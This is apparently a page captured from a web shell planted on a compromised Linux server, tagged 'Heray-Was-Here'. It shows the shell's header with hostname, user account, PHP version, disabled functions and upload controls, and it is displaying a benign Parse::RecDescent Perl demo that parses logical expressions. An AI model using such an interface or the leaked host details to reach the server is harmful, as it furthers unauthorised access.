Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/share/doc/perl-Parse-RecDescent/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/share/doc/perl-Parse-RecDescent/demo/demo_logic.pl
#!/usr/bin/perl -sw

# PARSE LOGICAL EXPRESSIONS

$RD::TRACE=1;

use Parse::RecDescent;

$grammar =
q{
	expr	:	disj  no_garbage

	no_garbage: /^\s*$/
		  | <error: Trailing garbage>

	disj	:	conj  ('or' conj)(s?)

	conj	:	unary ('and' unary)(s?)

	unary	:	'not' atom
		|	'(' disj ( ')' | <error> )
		|	atom

	atom	:	/<.+?>/

};

$parse = new Parse::RecDescent ($grammar);

$input = '';

print "> ";
while (<>)
{

	if (/^\.$/) { defined $parse->expr($input) or print "huh?\n"; $input = '' }
	else	    { chomp; $input .= " $_" }
	print "> ";
}

Hry